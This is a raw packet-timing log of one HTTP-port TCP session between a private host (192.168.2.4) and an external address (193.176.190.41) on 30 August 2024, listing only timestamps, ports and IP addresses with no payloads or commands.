Aug 30, 2024 18:13:02.446796894 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446803093 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446814060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446822882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446834087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446835041 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446844101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446855068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446863890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.446880102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446888924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.446902037 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.447753906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447765112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447773933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447783947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447793961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447799921 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.447803974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447817087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447827101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447832108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.447838068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447848082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447851896 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.447860003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447870970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.447870970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447881937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447891951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447901011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.447902918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.447930098 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.447942972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.448717117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.448735952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.448745966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.448755980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.448760986 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.448765993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.448777914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.448782921 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.448788881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.448798895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.448808908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.448811054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.448822975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.448822975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.448846102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.448858023 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.528796911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.528830051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.528841019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.528980970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.528991938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529001951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529012918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529023886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529041052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.529041052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.529041052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.529041052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.529088974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.529195070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529237032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.529326916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529337883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529347897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529359102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529369116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.529400110 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.529581070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529592037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529602051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529611111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529620886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.529623032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529633999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529644966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.529654980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.529684067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530066967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530076981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530086994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530097008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530107975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530114889 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530133009 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530153990 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530220985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530239105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530266047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530277967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530277967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530298948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530513048 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530523062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530533075 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530555964 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530582905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530666113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530678034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530687094 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530706882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530721903 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530854940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530874014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530884027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530894041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530894995 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530905962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530916929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530920982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530927896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530939102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.530951023 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.530970097 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.531301022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531311989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531322002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531333923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531343937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531344891 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.531353951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531363964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531371117 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.531373978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531384945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531398058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531435013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.531435013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.531934977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531945944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531955957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531975985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.531985044 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.531985998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532006025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532011032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.532016993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532027006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532028913 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.532043934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532054901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532063961 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.532064915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532083988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532084942 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.532097101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532104015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.532108068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532119036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532143116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.532161951 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.532916069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532934904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532944918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532953978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532963037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532963991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.532982111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532991886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.532993078 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533016920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533020973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533027887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533039093 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533040047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533056974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533057928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533070087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533082008 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533107996 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533257008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533268929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533277988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533288956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533294916 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533320904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533828974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533849955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533859968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533870935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533878088 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533881903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533894062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533900023 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533904076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533915997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533925056 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533926010 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533941031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533941031 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533952951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533962965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533967018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.533973932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533984900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533993959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.533996105 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.534004927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534013033 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.534014940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534040928 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.534776926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534789085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534802914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534812927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534821987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534832954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534842968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534852982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534862995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534873009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534882069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534892082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.534914970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.534914970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.534914970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.534914970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.534914970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.534938097 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.615715027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.615788937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.615792036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.615806103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.615834951 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.615849018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.615995884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616007090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616017103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616029024 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616045952 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.616070032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.616127968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616169930 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.616197109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616238117 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.616261959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616272926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616285086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616308928 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.616322041 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.616503954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616514921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616524935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616533041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616543055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616553068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616559029 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.616564035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616579056 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616588116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.616590977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616606951 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.616628885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.616971970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616982937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.616993904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617005110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617023945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.617038012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.617221117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617232084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617242098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617252111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617263079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617274046 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.617279053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617290974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617297888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.617311954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.617337942 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.617633104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617644072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617654085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617664099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617679119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617683887 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.617691994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617702961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617706060 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.617714882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.617714882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.617747068 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.617767096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.618012905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618062019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.618242025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618253946 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618263960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618273973 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618283033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618292093 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.618294001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618304968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618314981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618319988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.618325949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618336916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618339062 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.618347883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618355989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.618359089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618370056 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618386984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.618386984 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.618412971 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.618423939 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.619040012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619051933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619061947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619071960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619082928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619088888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.619092941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619103909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619112968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619123936 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.619132042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619143009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619143963 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.619154930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619164944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619164944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.619179964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619189978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619193077 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.619200945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619213104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.619225979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.619244099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.619257927 CEST	49733	80	192.168.2.4	193.176.190.41
